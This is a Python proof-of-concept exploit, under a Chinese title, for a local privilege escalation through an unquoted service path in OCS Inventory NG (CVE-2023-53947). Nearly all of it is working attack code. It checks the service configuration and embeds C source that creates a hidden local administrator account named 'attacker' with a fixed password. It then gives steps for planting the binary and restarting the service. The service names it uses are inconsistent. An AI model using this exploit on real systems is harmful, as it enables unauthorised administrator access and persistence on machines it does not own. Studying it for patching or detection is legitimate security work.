CVE-2023-53947 | OCS Inventory NG 未引号服务路径本地提权漏洞

# CVE-2023-53947 PoC - OCS Inventory NG Unquoted Service Path # This PoC demonstrates the privilege escalation via unquoted service path import os import sys import subprocess import time def check_vulnerable_service(): """Check if OCS Inventory service is installed and has unquoted path""" try: result = subprocess.run( ['sc', 'qc', 'OCS Inventory Service'], capture_output=True, text=True ) output = result.stdout # Check if BINARY_PATH_NAME contains unquoted path with spaces if 'BINARY_PATH_NAME' in output: for line in output.split('\n'): if 'BINARY_PATH_NAME' in line and ('Program Files' in line or 'Program Files (x86)' in line): if '"' not in line: return True, line.strip() return False, None except Exception as e: print(f"Error checking service: {e}") return False, None def create_malicious_executable(): """Generate malicious executable that creates admin user""" malicious_code = ''' #include <windows.h> #include <stdio.h> #include <stdlib.h> int main() { // Create new administrator user: attacker/P@ssw0rd123 system("net user attacker P@ssw0rd123 /add"); system("net localgroup Administrators attacker /add"); // Log the exploitation FILE *log = fopen("C:\\\\Windows\\\\Temp\\\\exploit.log", "a"); if (log) { fprintf(log, "[+] CVE-2023-53947 exploited at %s\n", __TIMESTAMP__); fclose(log); } return 0; } ''' return malicious_code def exploit(): """Main exploitation function""" print("[*] CVE-2023-53947 - OCS Inventory NG Unquoted Service Path EoP") print("[*] Checking for vulnerable service...") is_vulnerable, path_info = check_vulnerable_service() if is_vulnerable: print(f"[+] Service is vulnerable!") print(f"[+] Current path: {path_info}") print("[+] Please compile the malicious executable as 'OCSService.exe'") print("[+] Place it in an intermediate directory in the unquoted path") print("[+] Then trigger service restart: sc stop OCSInventoryService && sc start OCSInventoryService") else: print("[-] Service not vulnerable or not found") if __name__ == "__main__": exploit()